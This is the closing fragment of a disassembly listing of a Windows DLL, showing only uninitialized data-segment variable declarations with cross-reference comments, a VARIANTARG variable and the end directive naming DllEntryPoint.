word_1007A46E	dw ?			; DATA XREF: sub_1001C4F0+30w
					; sub_1001C4F0:loc_1001C568r ...
		dd 0FFh	dup(?)
dword_1007A86C	dd ?							; sub_1001C790:loc_1001C7B7r ...
; VARIANTARG pvarg
pvarg		VARIANTARG <?>		; DATA XREF: sub_1001C969+7o
					; sub_1001C987o
dword_1007A880	dd ?							; sub_1001CBA7+120w
dword_1007A884	dd ?							; sub_1001CBA7+19Er
dword_1007A888	dd ?							; sub_1001CBA7+8Cr ...
dword_1007A88C	dd ?		dword_1007A890	dd ?							; DllEntryPoint+82r
dword_1007A894	dd ?							; _CRT_INIT(x,x,x)+54w	...
; void *dword_1007A898
dword_1007A898	dd ?				align 200h
_data		ends


		end DllEntryPoint